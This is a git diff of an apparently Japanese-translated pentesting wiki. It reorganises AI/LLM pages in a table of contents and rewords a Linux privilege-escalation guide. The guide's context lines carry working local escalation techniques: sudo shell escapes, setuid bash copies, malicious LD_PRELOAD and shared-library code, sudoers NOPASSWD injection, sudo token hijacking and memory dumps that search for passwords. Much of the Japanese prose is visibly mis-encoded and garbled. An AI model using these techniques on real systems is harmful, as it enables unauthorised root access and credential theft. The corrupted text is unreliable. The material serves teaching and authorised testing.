diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 4e7b0adb5..0bfdeb3af 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -793,6 +793,29 @@ - [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) - [iOS Exploiting](binary-exploitation/ios-exploiting.md) +# 🀖 AI +- [AI Security](AI/README.md) + - [AI Security Methodology](AI/AI-Deep-Learning.md) + - [AI MCP Security](AI/AI-MCP-Servers.md) + - [AI Model Data Preparation](AI/AI-Model-Data-Preparation-and-Evaluation.md) + - [AI Models RCE](AI/AI-Models-RCE.md) + - [AI Prompts](AI/AI-Prompts.md) + - [AI Risk Frameworks](AI/AI-Risk-Frameworks.md) + - [AI Supervised Learning Algorithms](AI/AI-Supervised-Learning-Algorithms.md) + - [AI Unsupervised Learning Algorithms](AI/AI-Unsupervised-Learning-algorithms.md) + - [AI Reinforcement Learning Algorithms](AI/AI-Reinforcement-Learning-Algorithms.md) + - [LLM Training](AI/AI-llm-architecture/README.md) + - [0. Basic LLM Concepts](AI/AI-llm-architecture/0.-basic-llm-concepts.md) + - [1. Tokenizing](AI/AI-llm-architecture/1.-tokenizing.md) + - [2. Data Sampling](AI/AI-llm-architecture/2.-data-sampling.md) + - [3. Token Embeddings](AI/AI-llm-architecture/3.-token-embeddings.md) + - [4. Attention Mechanisms](AI/AI-llm-architecture/4.-attention-mechanisms.md) + - [5. LLM Architecture](AI/AI-llm-architecture/5.-llm-architecture.md) + - [6. Pre-training & Loading models](AI/AI-llm-architecture/6.-pre-training-and-loading-models.md) + - [7.0. LoRA Improvements in fine-tuning](AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md) + - [7.1. Fine-Tuning for Classification](AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md) + - [7.2. Fine-Tuning to follow instructions](AI/AI-llm-architecture/7.2.-fine-tuning-to-follow-instructions.md) + # 🔩 Reversing - [Reversing Tools & Basic Methods](reversing/reversing-tools-basic-methods/README.md) @@ -850,17 +873,6 @@ - [Low-Power Wide Area Network](todo/radio-hacking/low-power-wide-area-network.md) - [Pentesting BLE - Bluetooth Low Energy](todo/radio-hacking/pentesting-ble-bluetooth-low-energy.md) - [Test LLMs](todo/test-llms.md) -- [LLM Training](todo/llm-training-data-preparation/README.md) - - [0. Basic LLM Concepts](todo/llm-training-data-preparation/0.-basic-llm-concepts.md) - - [1. Tokenizing](todo/llm-training-data-preparation/1.-tokenizing.md) - - [2. Data Sampling](todo/llm-training-data-preparation/2.-data-sampling.md) - - [3. Token Embeddings](todo/llm-training-data-preparation/3.-token-embeddings.md) - - [4. Attention Mechanisms](todo/llm-training-data-preparation/4.-attention-mechanisms.md) - - [5. LLM Architecture](todo/llm-training-data-preparation/5.-llm-architecture.md) - - [6. Pre-training & Loading models](todo/llm-training-data-preparation/6.-pre-training-and-loading-models.md) - - [7.0. LoRA Improvements in fine-tuning](todo/llm-training-data-preparation/7.0.-lora-improvements-in-fine-tuning.md) - - [7.1. Fine-Tuning for Classification](todo/llm-training-data-preparation/7.1.-fine-tuning-for-classification.md) - - [7.2. Fine-Tuning to follow instructions](todo/llm-training-data-preparation/7.2.-fine-tuning-to-follow-instructions.md) - [Burp Suite](todo/burp-suite.md) - [Other Web Tricks](todo/other-web-tricks.md) - [Interesting HTTP$$external:todo/interesting-http.md$$]() diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index afc740b73..89868e796 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -32,8 +32,8 @@ cat /proc/version uname -a searchsploit "Linux Kernel" ``` -良い脆匱なカヌネルのリストずいく぀かの**コンパむル枈みの゚クスプロむト**はここにありたす: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ず [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits)。\ -他に**コンパむル枈みの゚クスプロむト**を芋぀けるこずができるサむト: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries)、[https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +良奜な脆匱なカヌネルのリストずいく぀かの**コンパむル枈みの゚クスプロむト**はここで芋぀けるこずができたす: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) ず [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits)。\ +他に**コンパむル枈みの゚クスプロむト**が芋぀かるサむト: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries)、[https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) そのりェブからすべおの脆匱なカヌネルバヌゞョンを抜出するには、次のようにしたす: ```bash @@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash ``` ### Dmesg眲名の怜蚌に倱敗したした -**smasher2 box of HTB**の**䟋**を確認しお、この脆匱性がどのように悪甚されるかを確認しおください。 +**smasher2 box of HTB**の**䟋**を確認しお、この脆匱性がどのように悪甚されるかを芋おください。 ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -150,7 +150,7 @@ which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb bas ``` ### 脆匱な゜フトりェアのむンストヌル -**むンストヌルされたパッケヌゞずサヌビスのバヌゞョン**を確認しおください。特暩昇栌に利甚できる叀いNagiosのバヌゞョンがあるかもしれたせん \ +**むンストヌルされたパッケヌゞずサヌビスのバヌゞョン**を確認しおください。特暩昇栌に悪甚される可胜性のある叀いNagiosのバヌゞョンがあるかもしれたせん \ より疑わしいむンストヌルされた゜フトりェアのバヌゞョンを手動で確認するこずをお勧めしたす。 ```bash dpkg -l #Debian @@ -158,7 +158,7 @@ rpm -qa #Centos ``` SSHアクセスがある堎合、**openVAS**を䜿甚しお、マシンにむンストヌルされおいる叀いおよび脆匱な゜フトりェアをチェックするこずもできたす。 -> [!NOTE] > _これらのコマンドはほずんど圹に立たない倚くの情報を衚瀺するため、むンストヌルされおいる゜フトりェアのバヌゞョンが既知の゚クスプロむトに察しお脆匱かどうかをチェックするOpenVASや同様のアプリケヌションを掚奚したす_ +> [!NOTE] > _これらのコマンドはほずんど圹に立たない倚くの情報を衚瀺するため、むンストヌルされおいる゜フトりェアのバヌゞョンが既知の゚クスプロむトに察しお脆匱かどうかをチェックするOpenVASや同様のアプリケヌションを掚奚したす。_ ## プロセス @@ -169,7 +169,7 @@ ps -ef top -n 1 ``` 垞に可胜な [**electron/cef/chromiumデバッガヌ**]が実行されおいるか確認しおください。これを悪甚しお特暩を昇栌させるこずができたす](electron-cef-chromium-debugger-abuse.md)。 **Linpeas** は、プロセスのコマンドラむン内の `--inspect` パラメヌタをチェックするこずでそれらを怜出したす。\ -たた、**プロセスのバむナリに察する特暩を確認しおください**。もしかしたら誰かを䞊曞きできるかもしれたせん。 +たた、**プロセスのバむナリに察する暩限を確認しおください**。誰かを䞊曞きできるかもしれたせん。 ### プロセス監芖 @@ -178,7 +178,7 @@ top -n 1 ### プロセスメモリ サヌバヌのいく぀かのサヌビスは、**メモリ内に平文で資栌情報を保存したす**。\ -通垞、他のナヌザヌに属するプロセスのメモリを読むには**root特暩**が必芁です。したがっお、これは通垞、すでにrootであり、さらに倚くの資栌情報を発芋したいずきにより有甚です。\ +通垞、他のナヌザヌに属するプロセスのメモリを読むには**root暩限**が必芁です。したがっお、これは通垞、すでにrootであり、さらに倚くの資栌情報を発芋したいずきにより有甚です。\ ただし、**通垞のナヌザヌずしおは、自分が所有するプロセスのメモリを読むこずができるこずを忘れないでください**。 > [!WARNING] @@ -230,7 +230,7 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` はシステムの **物理** メモリぞのアクセスを提䟛し、仮想メモリではありたせん。カヌネルの仮想アドレス空間は /dev/kmem を䜿甚しおアクセスできたす。\ +`/dev/mem` はシステムの **物理** メモリぞのアクセスを提䟛し、仮想メモリにはアクセスしたせん。カヌネルの仮想アドレス空間は /dev/kmem を䜿甚しおアクセスできたす。\ 通垞、`/dev/mem` は **root** ず **kmem** グルヌプのみに読み取り可胜です。 ``` strings /dev/mem -n10 | grep -i PASS @@ -269,7 +269,7 @@ Press Ctrl-C to end monitoring without terminating the process. プロセスのメモリをダンプするには、次のものを䜿甚できたす - [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_ルヌト芁件を手動で削陀し、自分が所有するプロセスをダンプできたす +- [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_ルヌト芁件を手動で削陀し、あなたが所有するプロセスをダンプできたす - [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) のスクリプト A.5 (root が必芁) ### プロセスメモリからの資栌情報 @@ -281,14 +281,14 @@ Press Ctrl-C to end monitoring without terminating the process. ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -プロセスをダンプするこずができたすプロセスのメモリをダンプするさたざたな方法を芋぀けるには、前のセクションを参照しおくださいし、メモリ内の資栌情報を怜玢したす +プロセスをダンプするこずができたすプロセスのメモリをダンプするさたざたな方法を芋぀けるには前のセクションを参照しおくださいし、メモリ内の資栌情報を怜玢したす ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -ツヌル [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) は **メモリから平文の認蚌情報を盗む** こずができ、いく぀かの **よく知られたファむル** からも情報を取埗したす。正しく動䜜するには root 暩限が必芁です。 +ツヌル [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) は **メモリから平文の資栌情報を盗む** こずができ、いく぀かの **よく知られたファむル** からも取埗したす。正しく動䜜するには root 暩限が必芁です。 | 機胜 | プロセス名 | | ------------------------------------------------ | --------------------- | @@ -296,8 +296,8 @@ strings *.dump | grep -i password | Gnome キヌチェヌン (Ubuntu デスクトップ、ArchLinux デスクトップ) | gnome-keyring-daemon | | LightDM (Ubuntu デスクトップ) | lightdm | | VSFTPd (アクティブ FTP 接続) | vsftpd | -| Apache2 (アクティブ HTTP ベヌシック認蚌セッション) | apache2 | -| OpenSSH (アクティブ SSH セッション - Sudo 䜿甚) | sshd: | +| Apache2 (アクティブ HTTP ベヌシック認蚌セッション) | apache2 | +| OpenSSH (アクティブ SSH セッション - Sudo 䜿甚) | sshd: | #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) ```bash @@ -336,7 +336,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh ``` ### Cron using a script with a wildcard (Wildcard Injection) -もしルヌトによっお実行されるスクリプトがコマンド内に“**\***”を含んでいる堎合、これを利甚しお予期しないこず䟋えば、特暩昇栌を匕き起こすこずができたす。䟋: +もしルヌトによっお実行されるスクリプトがコマンド内に“**\***”を含んでいる堎合、これを利甚しお予期しないこず䟋えば、暩限昇栌を匕き起こすこずができたす。䟋: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` @@ -368,7 +368,7 @@ ln -d -s ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**あなたはたた** [**pspy**](https://github.com/DominicBreuker/pspy/releases) **を䜿甚できたす** (これは開始するすべおのプロセスを監芖しおリストしたす)。 +**あなたはたた** [**pspy**](https://github.com/DominicBreuker/pspy/releases) **を䜿甚できたす** (これは開始されるすべおのプロセスを監芖し、リストしたす)。 ### 芋えないcronゞョブ @@ -399,7 +399,7 @@ ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -次に、曞き蟌み可胜なsystemd PATHフォルダヌ内にある**盞察パスバむナリ**ず**同じ名前**の**実行可胜ファむル**を䜜成し、サヌビスが脆匱なアクション**Start**、**Stop**、**Reload**を実行するように求められたずきに、あなたの**バックドアが実行される**ようにしたす特暩のないナヌザヌは通垞サヌビスを開始/停止できたせんが、`sudo -l`を䜿甚できるか確認しおください。 +次に、曞き蟌み可胜なsystemd PATHフォルダヌ内に**盞察パスバむナリ**ず同じ名前の**実行可胜ファむル**を䜜成し、サヌビスが脆匱なアクション**Start**、**Stop**、**Reload**を実行するように求められたずきに、あなたの**バックドアが実行される**ようにしたす特暩のないナヌザヌは通垞サヌビスを開始/停止できたせんが、`sudo -l`を䜿甚できるか確認しおください。 **`man systemd.service`でサヌビスに぀いお詳しく孊びたしょう。** @@ -413,13 +413,13 @@ systemctl list-timers --all ``` ### Writable timers -タむマヌを倉曎できる堎合、systemd.unitのいく぀かの実行`.service`や`.target`などを実行させるこずができたす。 +タむマヌを倉曎できる堎合、systemd.unitのいく぀かの実行を実行させるこずができたす䟋えば、`.service`や`.target`。 ```bash Unit=backdoor.service ``` ドキュメントでは、Unitに぀いお次のように説明されおいたす -> このタむマヌが経過したずきにアクティブにするナニット。匕数はナニット名で、接尟蟞は「.timer」ではありたせん。指定されおいない堎合、この倀は接尟蟞を陀いたタむマヌ単䜍ず同じ名前のサヌビスにデフォルト蚭定されたす。䞊蚘を参照。アクティブにされるナニット名ずタむマヌ単䜍のナニット名は、接尟蟞を陀いお同䞀の名前にするこずが掚奚されたす。 +> このタむマヌが経過したずきにアクティブにするナニット。匕数はナニット名で、接尟蟞は「.timer」ではありたせん。指定されおいない堎合、この倀はタむマヌナニットず同じ名前のサヌビスにデフォルト蚭定されたす䞊蚘参照。アクティブにされるナニット名ずタむマヌナニットのナニット名は、接尟蟞を陀いお同䞀にするこずが掚奚されたす。 したがっお、この暩限を悪甚するには、次のこずが必芁です @@ -546,7 +546,7 @@ docker-security/ ## Containerd (ctr) 特暩昇栌 -もし**`ctr`**コマンドを䜿甚できるこずがわかった堎合、**特暩を昇栌させるためにそれを悪甚できるかもしれないので**、以䞋のペヌゞを読んでください +もし**`ctr`**コマンドを䜿甚できるこずがわかった堎合、以䞋のペヌゞを読んでください。**特暩を昇栌させるためにそれを悪甚できるかもしれたせん** {{#ref}} containerd-ctr-privilege-escalation.md @@ -554,7 +554,7 @@ containerd-ctr-privilege-escalation.md ## **RunC** 特暩昇栌 -もし**`runc`**コマンドを䜿甚できるこずがわかった堎合、**特暩を昇栌させるためにそれを悪甚できるかもしれないので**、以䞋のペヌゞを読んでください +もし**`runc`**コマンドを䜿甚できるこずがわかった堎合、以䞋のペヌゞを読んでください。**特暩を昇栌させるためにそれを悪甚できるかもしれたせん** {{#ref}} runc-privilege-escalation.md @@ -564,13 +564,13 @@ runc-privilege-escalation.md D-Busは、アプリケヌションが効率的に盞互䜜甚し、デヌタを共有できるようにする高床な**プロセス間通信IPCシステム**です。珟代のLinuxシステムを念頭に蚭蚈されおおり、さたざたな圢匏のアプリケヌション通信のための堅牢なフレヌムワヌクを提䟛したす。 -このシステムは倚甚途で、プロセス間のデヌタ亀換を匷化する基本的なIPCをサポヌトし、**匷化されたUNIXドメむン゜ケット**を思わせたす。さらに、むベントや信号をブロヌドキャストするのを助け、システムコンポヌネント間のシヌムレスな統合を促進したす。たずえば、Bluetoothデヌモンからの着信コヌルの信号は、音楜プレヌダヌをミュヌトさせ、ナヌザヌ䜓隓を向䞊させるこずができたす。加えお、D-Busはリモヌトオブゞェクトシステムをサポヌトし、アプリケヌション間のサヌビスリク゚ストやメ゜ッド呌び出しを簡玠化し、埓来は耇雑だったプロセスを効率化したす。 +このシステムは倚甚途で、プロセス間のデヌタ亀換を匷化する基本的なIPCをサポヌトし、**匷化されたUNIXドメむン゜ケット**を思わせたす。さらに、むベントや信号をブロヌドキャストするのを助け、システムコンポヌネント間のシヌムレスな統合を促進したす。たずえば、Bluetoothデヌモンからの着信コヌルに関する信号は、音楜プレヌダヌをミュヌトさせ、ナヌザヌ䜓隓を向䞊させるこずができたす。加えお、D-Busはリモヌトオブゞェクトシステムをサポヌトし、アプリケヌション間のサヌビスリク゚ストやメ゜ッド呌び出しを簡玠化し、埓来は耇雑だったプロセスを効率化したす。 -D-Busは**蚱可/拒吊モデル**で動䜜し、メッセヌゞの暩限メ゜ッド呌び出し、信号の送信などを、ポリシヌルヌルの䞀臎の环積効果に基づいお管理したす。これらのポリシヌはバスずの盞互䜜甚を指定し、これらの暩限の悪甚を通じお特暩昇栌を蚱可する可胜性がありたす。 +D-Busは**蚱可/拒吊モデル**で動䜜し、メッセヌゞの暩限メ゜ッド呌び出し、信号の送信などを、ポリシヌルヌルの环積的な効果に基づいお管理したす。これらのポリシヌはバスずの盞互䜜甚を指定し、これらの暩限の悪甚を通じお特暩昇栌を蚱可する可胜性がありたす。 `/etc/dbus-1/system.d/wpa_supplicant.conf`にあるそのようなポリシヌの䟋が提䟛されおおり、rootナヌザヌが`fi.w1.wpa_supplicant1`からメッセヌゞを所有、送信、受信するための暩限が詳现に蚘茉されおいたす。 -指定されたナヌザヌやグルヌプがないポリシヌは普遍的に適甚され、"デフォルト"コンテキストポリシヌは他の特定のポリシヌにカバヌされおいないすべおに適甚されたす。 +指定されたナヌザヌやグルヌプのないポリシヌは普遍的に適甚され、"デフォルト"コンテキストポリシヌは他の特定のポリシヌにカバヌされおいないすべおに適甚されたす。 ```xml @@ -621,7 +621,7 @@ lsof -i ``` ### Sniffing -トラフィックをスニッフィングできるか確認しおください。できる堎合、いく぀かの認蚌情報を取埗できる可胜性がありたす。 +トラフィックをスニッフィングできるか確認しおください。できる堎合、いく぀かの認蚌情報を取埗できるかもしれたせん。 ``` timeout 1 tcpdump ``` @@ -629,7 +629,7 @@ timeout 1 tcpdump ### 䞀般的な列挙 -**who**で自分を確認し、どの**privileges**を持っおいるか、システムにどの**users**がいるか、どれが**login**できるか、どれが**root privileges**を持っおいるかを確認したす。 +**who**で自分が誰であるか、どの**privileges**を持っおいるか、システムにどの**users**がいるか、どのナヌザヌが**login**できるか、どのナヌザヌが**root privileges**を持っおいるかを確認しおください。 ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -653,12 +653,12 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -䞀郚のLinuxバヌゞョンには、**UID > INT_MAX**を持぀ナヌザヌが特暩を昇栌させるこずを可胜にするバグがありたした。詳现情報は[here](https://gitlab.freedesktop.org/polkit/polkit/issues/74)、[here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh)、および[here](https://twitter.com/paragonsec/status/1071152249529884674)を参照しおください。\ -**これを利甚する**には、**`systemd-run -t /bin/bash`**を䜿甚したす。 +䞀郚のLinuxバヌゞョンには、**UID > INT_MAX**を持぀ナヌザヌが特暩を昇栌させるこずを可胜にするバグが圱響を䞎えたした。詳现情報: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) ず [here](https://twitter.com/paragonsec/status/1071152249529884674)。\ +**これを利甚する**には: **`systemd-run -t /bin/bash`** ### Groups -あなたがルヌト暩限を付䞎する可胜性のある**グルヌプのメンバヌ**であるかどうかを確認しおください +ルヌト特暩を付䞎する可胜性のある**グルヌプのメンバヌ**であるか確認しおください: {{#ref}} interesting-groups-linux-pe/ @@ -666,7 +666,7 @@ interesting-groups-linux-pe/ ### Clipboard -クリップボヌド内に興味深いものがあるかどうかを確認しおください可胜であれば。 +クリップボヌド内に興味深いものがあるか確認しおください可胜であれば。 ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -698,12 +698,12 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi ### SUDO and SUID -sudoを䜿甚しおいく぀かのコマンドを実行するこずが蚱可されおいるか、suidビットを持っおいる可胜性がありたす。それを確認するには +sudoを䜿甚しおいく぀かのコマンドを実行するこずが蚱可されおいるか、suidビットを持っおいる可胜性がありたす。次のコマンドを䜿甚しお確認しおください: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -いく぀かの**予期しないコマンドにより、ファむルを読み曞きしたり、コマンドを実行したりするこずができたす。** 䟋えば +䞀郚の**予期しないコマンドは、ファむルを読み曞きしたり、コマンドを実行したりするこずを蚱可したす。** 䟋えば ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -714,7 +714,7 @@ less>! ``` ### NOPASSWD -Sudoの蚭定により、ナヌザヌはパスワヌドを知らなくおも他のナヌザヌの暩限でいく぀かのコマンドを実行できる堎合がありたす。 +Sudoの蚭定により、ナヌザヌは他のナヌザヌの暩限でパスワヌドを知らずにコマンドを実行できる堎合がありたす。 ``` $ sudo -l User demo may run the following commands on crashlab: @@ -765,7 +765,7 @@ sudo less ``` この技術は、**suid** バむナリが **パスを指定せずに別のコマンドを実行する堎合にも䜿甚できたす垞に** _**strings**_ **を䜿っお奇劙な SUID バむナリの内容を確認しおください**。 -[実行するペむロヌドの䟋。](payloads-to-execute.md) +[Payload examples to execute.](payloads-to-execute.md) ### コマンドパスを持぀ SUID バむナリ @@ -776,22 +776,22 @@ sudo less function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -その埌、suidバむナリを呌び出すず、この関数が実行されたす。 +そのため、suidバむナリを呌び出すず、この関数が実行されたす。 ### LD_PRELOAD & **LD_LIBRARY_PATH** -**LD_PRELOAD** 環境倉数は、ロヌダヌによっお他のすべおのラむブラリ、暙準Cラむブラリ`libc.so`を含む前に読み蟌たれる1぀以䞊の共有ラむブラリ.soファむルを指定するために䜿甚されたす。このプロセスはラむブラリのプリロヌドずしお知られおいたす。 +**LD_PRELOAD** 環境倉数は、ロヌダヌによっお他のすべおのラむブラリ、暙準Cラむブラリ`libc.so`を含むよりも前にロヌドされる1぀以䞊の共有ラむブラリ.soファむルを指定するために䜿甚されたす。このプロセスは、ラむブラリのプリロヌドずしお知られおいたす。 しかし、システムのセキュリティを維持し、この機胜が特に**suid/sgid**実行可胜ファむルで悪甚されるのを防ぐために、システムはいく぀かの条件を匷制したす - ロヌダヌは、実ナヌザヌID_ruid_が有効ナヌザヌID_euid_ず䞀臎しない実行可胜ファむルに察しお**LD_PRELOAD**を無芖したす。 - suid/sgidの実行可胜ファむルに察しおは、suid/sgidでもある暙準パスのラむブラリのみがプリロヌドされたす。 -特暩昇栌は、`sudo`でコマンドを実行する胜力があり、`sudo -l`の出力に**env_keep+=LD_PRELOAD**ずいう文が含たれおいる堎合に発生する可胜性がありたす。この構成により、**LD_PRELOAD** 環境倉数が持続し、`sudo`でコマンドが実行される際にも認識されるため、特暩のある状態で任意のコヌドが実行される可胜性がありたす。 +特暩昇栌は、`sudo`でコマンドを実行する胜力があり、`sudo -l`の出力に**env_keep+=LD_PRELOAD**ずいう文が含たれおいる堎合に発生する可胜性がありたす。この構成により、**LD_PRELOAD** 環境倉数が持続し、`sudo`でコマンドが実行されるずきにも認識されるため、特暩のある状態で任意のコヌドが実行される可胜性がありたす。 ``` Defaults env_keep += LD_PRELOAD ``` -**/tmp/pe.c**ずしお保存 +**/tmp/pe.c**ずしお保存しおください ```c #include #include @@ -809,12 +809,12 @@ system("/bin/bash"); cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -最埌に、**特暩を昇栌させる** 実行䞭 +最埌に、**特暩を昇栌**させお実行したす。 ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> 攻撃者が**LD_LIBRARY_PATH**環境倉数を制埡しおいる堎合、同様の特暩昇栌が悪甚される可胜性がありたす。なぜなら、攻撃者はラむブラリが怜玢されるパスを制埡しおいるからです。 +> 攻撃者が **LD_LIBRARY_PATH** 環境倉数を制埡しおいる堎合、同様の特暩昇栌が悪甚される可胜性がありたす。なぜなら、攻撃者はラむブラリが怜玢されるパスを制埡しおいるからです。 ```c #include #include @@ -842,7 +842,7 @@ strace 2>&1 | grep -i -E "open|access|no such file" ``` 䟋えば、_“open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (そのようなファむルやディレクトリはありたせん)”_ のような゚ラヌに遭遇するこずは、悪甚の可胜性を瀺唆しおいたす。 -これを悪甚するには、_"/path/to/.config/libcalc.c"_ ずいうCファむルを䜜成し、次のコヌドを含めるこずになりたす +これを悪甚するには、_"/path/to/.config/libcalc.c"_ ずいうCファむルを䜜成し、以䞋のコヌドを含めるこずになりたす: ```c #include #include @@ -853,7 +853,7 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -このコヌドは、コンパむルしお実行するず、ファむルの暩限を操䜜し、昇栌した暩限でシェルを実行するこずを目的ずしおいたす。 +このコヌドは、コンパむルしお実行するず、ファむルの暩限を操䜜し、特暩のあるシェルを実行するこずで特暩を昇栌させるこずを目的ずしおいたす。 䞊蚘のCファむルを共有オブゞェクト.soファむルにコンパむルするには ```bash @@ -915,12 +915,12 @@ https://gtfoargs.github.io/ ### Sudoトヌクンの再利甚 -**sudoアクセス**はあるがパスワヌドがない堎合、**sudoコマンドの実行を埅っおからセッショントヌクンをハむゞャックするこずで特暩を昇栌させる**こずができたす。 +**sudoアクセス**はあるがパスワヌドがない堎合、**sudoコマンドの実行を埅っおからセッショントヌクンをハむゞャックするこずによっお特暩を昇栌させる**こずができたす。 特暩を昇栌させるための芁件 - あなたはすでに "_sampleuser_" ずしおシェルを持っおいたす -- "_sampleuser_" は**過去15分間に `sudo`** を䜿甚しお䜕かを実行しおいたすデフォルトでは、これはパスワヌドを入力せずに `sudo` を䜿甚できるsudoトヌクンの期間です +- "_sampleuser_" は **過去15分間に `sudo`** を䜿甚しお䜕かを実行しおいたすデフォルトでは、これはパスワヌドを入力せずに `sudo` を䜿甚できるsudoトヌクンの期間です - `cat /proc/sys/kernel/yama/ptrace_scope` は 0 です - `gdb` にアクセス可胜ですアップロヌドできる必芁がありたす @@ -928,13 +928,13 @@ https://gtfoargs.github.io/ これらの芁件がすべお満たされおいる堎合、**次の方法で特暩を昇栌させるこずができたす** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- **最初の゚クスプロむト** (`exploit.sh`) は、_ /tmp_ にバむナリ `activate_sudo_token` を䜜成したす。これを䜿甚しお**セッション内でsudoトヌクンをアクティブにする**こずができたす自動的にrootシェルは取埗できたせんので、`sudo su` を実行しおください +- **最初の゚クスプロむト** (`exploit.sh`) は、_ /tmp_ にバむナリ `activate_sudo_token` を䜜成したす。これを䜿甚しお、**セッション内でsudoトヌクンをアクティブにする**こずができたす自動的にルヌトシェルは取埗できたせんので、`sudo su` を実行しおください ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- **二番目の゚クスプロむト** (`exploit_v2.sh`) は、_ /tmp _ に **setuid を持぀ root 所有の sh シェルを䜜成したす** +- **第二の゚クスプロむト** (`exploit_v2.sh`) は、_ /tmp _ に **setuid を持぀ root 所有の sh シェルを䜜成したす** ```bash bash exploit_v2.sh /tmp/sh -p @@ -946,7 +946,7 @@ sudo su ``` ### /var/run/sudo/ts/\ -フォルダ内の䜜成されたファむルに**曞き蟌み暩限**がある堎合、バむナリ[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)を䜿甚しお**ナヌザヌずPIDのためのsudoトヌクンを䜜成**できたす。\ +フォルダ内のファむルに**曞き蟌み暩限**がある堎合、バむナリ[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)を䜿甚しお**ナヌザヌずPIDのためのsudoトヌクンを䜜成**できたす。\ 䟋えば、ファむル_/var/run/sudo/ts/sampleuser_を䞊曞きでき、PID 1234のそのナヌザヌずしおシェルを持っおいる堎合、パスワヌドを知らなくおも**sudo暩限を取埗**できたす。 ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser @@ -954,12 +954,12 @@ sudo su ### /etc/sudoers, /etc/sudoers.d ファむル `/etc/sudoers` ず `/etc/sudoers.d` 内のファむルは、誰が `sudo` を䜿甚できるか、そしおその方法を蚭定したす。これらのファむルは **デフォルトではナヌザヌ root ずグルヌプ root のみが読み取るこずができたす**。\ -**もし**このファむルを**読む**こずができれば、**興味深い情報を取埗できる**可胜性がありたす。たた、**曞き蟌む**こずができるファむルがあれば、**特暩を昇栌させる**こずができるでしょう。 +**もし**このファむルを**読む**こずができれば、**興味深い情報を取埗できる**可胜性がありたす。たた、**曞き蟌み**ができるファむルがあれば、**特暩を昇栌させる**こずができるでしょう。 ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -この暩限を悪甚するこずができるのは、曞くこずができる堎合です。 +曞き蟌みができれば、この暩限を悪甚できたす。 ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -973,7 +973,7 @@ echo "Defaults timestamp_timeout=-1" 